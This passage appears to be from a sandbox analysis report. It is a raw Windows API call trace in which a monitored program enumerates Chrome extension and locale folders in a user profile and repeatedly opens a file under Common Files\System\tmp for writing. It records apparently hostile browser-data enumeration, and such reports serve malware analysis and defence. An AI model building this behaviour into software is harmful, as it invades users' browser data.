ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.082] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.082] GetLastError () returned 0x12 [0138.082] AreFileApisANSI () returned 1 [0138.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.082] GetFileType (hFile=0x128) returned 0x1 [0138.082] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.127] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.128] GetLastError () returned 0x12 [0138.128] AreFileApisANSI () returned 1 [0138.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.128] GetFileType (hFile=0x128) returned 0x1 [0138.128] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.128] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.128] GetLastError () returned 0x12 [0138.129] AreFileApisANSI () returned 1 [0138.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.129] GetFileType (hFile=0x128) returned 0x1 [0138.129] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.174] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.174] GetLastError () returned 0x12 [0138.174] AreFileApisANSI () returned 1 [0138.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.175] GetFileType (hFile=0x128) returned 0x1 [0138.175] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.175] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.175] GetLastError () returned 0x12 [0138.175] AreFileApisANSI () returned 1 [0138.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.176] GetFileType (hFile=0x128) returned 0x1 [0138.176] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.252] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.252] GetLastError () returned 0x12 [0138.252] AreFileApisANSI () returned 1 [0138.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.253] GetFileType (hFile=0x128) returned 0x1 [0138.253] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.253] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.253] GetLastError () returned 0x12 [0138.253] AreFileApisANSI () returned 1 [0138.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.253] GetFileType (hFile=0x128) returned 0x1 [0138.254] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.299] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.299] GetLastError () returned 0x12 [0138.299] AreFileApisANSI () returned 1 [0138.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.299] GetFileType (hFile=0x128) returned 0x1 [0138.299] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.300] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.300] GetLastError () returned 0x12 [0138.300] AreFileApisANSI () returned 1 [0138.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.300] GetFileType (hFile=0x128) returned 0x1 [0138.300] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.346] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.346] GetLastError () returned 0x12 [0138.346] AreFileApisANSI () returned 1 [0138.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.346] GetFileType (hFile=0x128) returned 0x1 [0138.346] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.347] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.347] GetLastError () returned 0x12 [0138.347] AreFileApisANSI () returned 1 [0138.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.347] GetFileType (hFile=0x128) returned 0x1 [0138.347] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.392] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.392] GetLastError () returned 0x12 [0138.393] AreFileApisANSI () returned 1 [0138.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.393] GetFileType (hFile=0x128) returned 0x1 [0138.393] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.393] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.393] GetLastError () returned 0x12 [0138.393] AreFileApisANSI () returned 1 [0138.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.393] GetFileType (hFile=0x128) returned 0x1 [0138.394] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.394] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.394] GetLastError () returned 0x12 [0138.394] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0138.394] GetLastError () returned 0x12 [0138.394] AreFileApisANSI () returned 1 [0138.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0138.394] GetFileType (hFile=0x194) returned 0x1 [0138.394] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0138.395] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0138.395] GetLastError () returned 0x12 [0138.395] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0138.395] GetLastError () returned 0x12 [0138.395] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0138.395] GetLastError () returned 0x12 [0138.395] AreFileApisANSI () returned 1 [0138.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0138.395] GetFileType (hFile=0x18c) returned 0x1 [0138.395] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b8758, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0138.395] AreFileApisANSI () returned 1 [0138.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0138.396] GetFileType (hFile=0x190) returned 0x1 [0138.396] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0138.396] AreFileApisANSI () returned 1 [0138.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0138.396] GetFileType (hFile=0x194) returned 0x1 [0138.396] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0138.397] AreFileApisANSI () returned 1 [0138.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.397] GetFileType (hFile=0x128) returned 0x1 [0138.397] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: 